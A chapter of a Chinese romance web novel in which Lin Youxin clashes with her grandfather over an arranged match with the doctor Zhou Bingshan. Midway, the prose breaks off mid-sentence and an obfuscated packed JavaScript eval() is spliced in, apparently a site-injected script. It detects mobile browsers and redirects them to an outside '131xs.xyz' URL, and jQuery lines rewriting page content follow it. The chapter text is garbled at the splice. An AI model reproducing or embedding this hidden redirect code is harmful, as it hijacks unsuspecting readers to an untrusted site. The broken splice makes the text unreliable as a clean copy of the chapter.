5. C05.失心疯
作品:《他的漫漫长夜[先婚后爱]》 林幼辛从来是看感觉的人。
看感觉谈恋爱,看感觉演话剧,看感觉做人生的关键选择。
曲静潼曾经无比羡慕她这种“天王老子来了也是老娘感受排第一”的性格,也尝试模仿过,但惨痛的经验教训是:
有些事只能这种性格的人来做,有些后果也只能那种性格的人来承担。
林幼辛最近没有相亲压力,每天和徐澄宁去酒吧玩到深夜才回家,她称其为报复性蹦迪。
林介平给她和周禀山拉了个群,说过段时间就是他和周载年的入伍纪念日,想要办一场规模中等的私人宴会,看两个孩子能不能抽空帮忙操办。
周禀山自加了她微信就没主动说过话,这时候倒是冒泡:[我抽空看看。]
林幼辛就没有他这么的头脑简单了。
她花了五秒钟分析两位爷爷的动机,然后联系徐澄宁,让她把她爷爷去年过八十大寿的那个策划师名片推过来。
接下来她加好对方微信,然后干脆的利落的拉到群里。
有心:[爷爷,周爷爷,我当然愿意帮忙啦,就是最近有亿点点点忙!这是我朋友推荐的策划师,你们放心,很靠谱哦!]
然后又@了周禀山:[周大哥,这位老师很有经验,我最近时间稍稍有点满,我们同步和她沟通,可以吗?]
周载年第一眼看见消息就觉得心里不舒服,这林家小丫头明摆着不情愿继续处了。
他急忙问周禀山,那天私下聊了那么久都白聊了?是不是得罪人家了。
周禀山收到消息的时候在开会。
自提了副主任后他多了不少杂七杂八的事项,前几天刚分给他两个需要带教的实习生,忙的脚不粘地,昨天和科室的主任书记讨论今年的创收方案,今天又是一上午的多学科诊疗,要和胸外科的开会。
他分神看手机,先看到了林幼辛的那条@,然后才看见周载年的消息。
得罪她?
周禀山一时哭笑不得,他怎么可能会得罪她。
“周主任,您看这位患者的手术,能不能不做开胸处理?”
旁边的白知棠轻敲他桌子,压低声音提醒。
周禀山伸手按了按眉心,暂且将手机扣过去,重新投入工作。
/
林幼辛发完消息就没再理会群消息。
顾津平工作室耗时小半个月,筛了三十多位青年演员,话剧《苦尔》的男主终于定了。
除了投资方看好的几位老师,其中男主的B卡定了她推荐的贺兆京,今天是线下排练的第一天。
线下排练那天,场务小满见贺兆京的第一眼就连连啧声,止不住的和徐澄宁咬耳朵:“你别说,咱林妹儿的眼睛就是毒,这男生的面试视频看不出什么,但真人可不是一般的好看,长得和梁哥好像!”
全国招募演员,他们工作室一共收到上百份演员简历,筛的剩下三十份,又一个个看面试视频,最后定了贺兆京。
他是北艺毕业的本科生,京北人,人长的盘靓条顺,一八五的身高,狼狗碎盖,手臂肌肉线条刀削斧凿一般,再加上正是张狂的年纪,身上自带一股热腾腾的痞劲儿。
徐澄宁手里提着一壶胖大海,眼神落在不远处聊天的男生身上,忍不住啧声,确实挺像某个故人的。
此时剧团另一个男演员经过,不经意的嗤笑:“不就莞莞类卿那套吗?这是演戏,又不是谈恋爱,找个愣头青,可真有她的。”
徐澄宁听的微微拧眉:“施韩,有点气度,没选上就没选上,别阴阳怪气的,幼辛不是公私不分的人。”
这次演员选拔,团里的老演员也争取过,但却没有符合条件的。
林幼辛作为原卡加投资商之一有选角权,却也不是一言堂,最终决定权还是在顾津平,这事实在怪不到她头上。
然而施韩却嗤笑一声,“得了吧。大小姐被人家玩了八年都结不了婚,现在还要搞人家的替身文学,真是富贵人家出情种啊。”
这人太偏执了。
徐澄宁懒得和他扯皮,转身走了。
“感觉小贺合作起来怎么样?”
贺兆京简单的做了个自我介绍,剩下的时间就去排练了。林幼辛和徐澄宁去茶水间打闲嗑,徐澄宁顺嘴问了一句。
“你不是都看到了么,台词不错,上午排的那一幕基本没吃过螺丝,断句、平仄处理的略青涩,但指导后调整的不错。”
林幼辛排练时是素颜加运动服,头发歪歪扭扭的顶在头顶,还在头上戴了一条米黄色的针织发带,乍一看,有点二十出头的女大模样,可她认真工作的时候,就知道她是一个老手。
“嗯,你多带带他,可不能演砸了,这么多人要吃饭。”
话剧是个阳春白雪的东西,听起来挺高端,什么“演员的最高艺术殿堂”、“流量演员镀金场”巴拉巴拉,实则是赚不了几个钱还要往里赔钱的吞金兽。
尤其在剧目演出的排练期,每个人的收益基本都是负数,因为连接私活儿的时间都没有。
林幼辛不缺钱,不等于其他演员不缺。
她点点头,给徐澄宁保证:“老将不死,薪火相传,你放心吧。”
有新人来,排练室的兴奋浓度一整天都处在最高阀值,为了欢迎贺兆京和其他新演员的加入,群里爱玩儿的那几个没到下班时间就撺掇着去酒吧。
顾津平这个顶级i人是绝不会参加了,他蜷在工作室最阴暗的影音室里不出来,象征性的拨了点经费给小满,让她组织好好热闹热闹。
小满来问林幼辛去不去,她前段时间闲暇时间都被相亲塞满,此刻毫不犹豫的点头。
林介平电话打来的时候她刚开车从停车场出来,她今天开了辆超跑,车上只能坐一个人,贺兆京有那意思坐上来,结果被徐澄宁先一步拉开车门,笑嘻嘻的:
“弟弟,不好意思啊,我们林妹儿的副驾不载男人。”
贺兆京被说的尴尬,摸摸鼻子,转身去坐了苏青河的车。
林幼辛打开车载电话,林介平怒不可遏的声音传出来——
“林幼辛,你在干什么?放着禀山那么好的你不见,你去泡男人?你还有没有点女孩样了?”
林幼辛哀怨的看徐澄宁一眼,心里不服:“我泡什么男人了,小宁都说不让他上车了。”
“我管你说什么!群里的消息这么回事?禀山那么忙都能抽出时间,你甩我一个策划师是什么意思?你这是打我的脸还是打你周爷爷的脸?”
“禀山怎么得罪你了,要你如此避如蛇蝎,连基本教养和礼貌都不顾了?你还有没有点林家人的样子了!你爸走了,你是不是就觉得没人能教育好你了?”
超跑空间小,林介平声音震如洪钟,徐澄宁作为外人尴尬的无所适从,贴着车后背一动不敢动。
提到父亲,林幼辛生气又委屈:“这怎么就扯上教养了?那我没意思和周大哥处下去,难道要吊着他?早点说清楚不是更好吗?”
林介平最看不惯她这幅随心所欲的样子,更加愤怒:“你对禀山没意思?那你对谁有意思?相看了那么多,你又对谁有过意思?你别告诉我你还是惦记那个梁霄树!”
自她和梁霄树年初时分手,几乎没有人在她面前提这三个字,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459165|169671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这是公主的逆鳞。
但别人不敢,太上皇敢,还要一针见血的、抽筋见骨的说出来。
“爷爷你能不能别提这些陈年往事了,这和他有什么关系!”
“没关系?”林介平气的冷笑一声,“你最好没有!”
“当初我们林家多低三下四的求他娶你,都不算他入赘,生的孩子也跟他姓梁,可他同意了吗?还不是义无反顾的去当他的电影明星?你从十八岁到二十六岁,八年青春打了水漂,到头来就这么个结果。我告诉你,就凭这一条,你这辈子和他都没可能,再想和他在一起,除非我死了!”
话题早就偏的无影无踪,哪里还有半分“周禀山”的影子。
林幼辛在后半程已经不再说话,一脸漠然的听着,直到电话“啪”的一声被挂断。
车箱里弥漫着尴尬又诡异的安静,偶尔传来两声吸气,徐澄宁不用回头都知道林幼辛侧头抹了把泪。
她不是常哭的人,尤其是没有父母在身边后,她人生最大的法则就是要活的开心,对得起她爸的临终遗言。
徐澄宁不会安慰人,只叫她路边停车,自己换去主驾驶上,她这个状态也开不了车了。
她俩之间什么都不用多说,今夜的酒吧注定是林幼辛的主场,她先是喝了几杯血腥玛丽,然后去舞池里跳舞,身上只有一条珠光白的吊带裙,扭的很放肆慵懒。
Nuber酒吧的老板崔寒和徐澄宁是朋友,叫了几个酒保关照在林幼辛身边。
也多亏了那几个酒保,除了徐澄宁没人能近她的身。
从酒吧里出来,林幼辛没有回迦南公馆,而是回了自己的公寓。
后面连着两天头疼难受,也没有给林介平打电话。
/
林幼辛和林介平大吵一架的事情,要不了两天就因为林介平的亲自赔罪传到了周载年那里,自然也顺理成章的传到了周禀山那里。
周载年想了几天,也觉得林幼辛太任性了些,这几天他也打听了,林幼辛陆陆续续见了好多个相亲对象,都没又长久交往的,想来也没定性。
其实要不是周禀山岁数大了,他最开始也不会考虑这个没爹没妈的孩子。
思想想后,周载年也来了点脾气,哼声:“我们周家找儿媳,稳重端庄,温柔贤淑还是首要,幼辛身上反骨头太多了,也不合适嫁进来,以后生儿育女继承香火也是个问题,算了吧。”
坐在一旁,临时被叫回来的周禀山忽然轻笑:“我们家有皇位吗?还生儿育女继承香火。难道只许我看上人家,不许人家看不上我?”
周载年拿茶杯的手微顿,脸色一变,抓住重点:“你这话什么意思。”
周禀山自被周载年从医院叫回来,就一直没有说话,还以为是什么天大的事,没曾想只是林幼辛不想和他结婚这件事。
这太正常了,她本来就不喜欢他,又怎么会想嫁给他。
“没什么意思。”
周禀山感觉听了一场闹剧,心中微冷,也不想再待下去。
“我也不是多优质的男人,工作忙碌的普通医生,人也无趣,还大她五岁,幼辛不情愿实属正常,您不用这么高高在上的去贬损一个小姑娘。”
周载年像见了活鬼似的看他:“我贬损什么了?你失心疯了?”
周禀山不再多说,拿起外套:“我回医院了,下午还有门诊。”
“你这孩子,什么意思说清楚啊!你究竟想不想要她,你和爷爷说,爷爷给你想办法!”
周禀山脚步顿了一下,但没有停。
她如愿就好。
他拥有与否都不重要。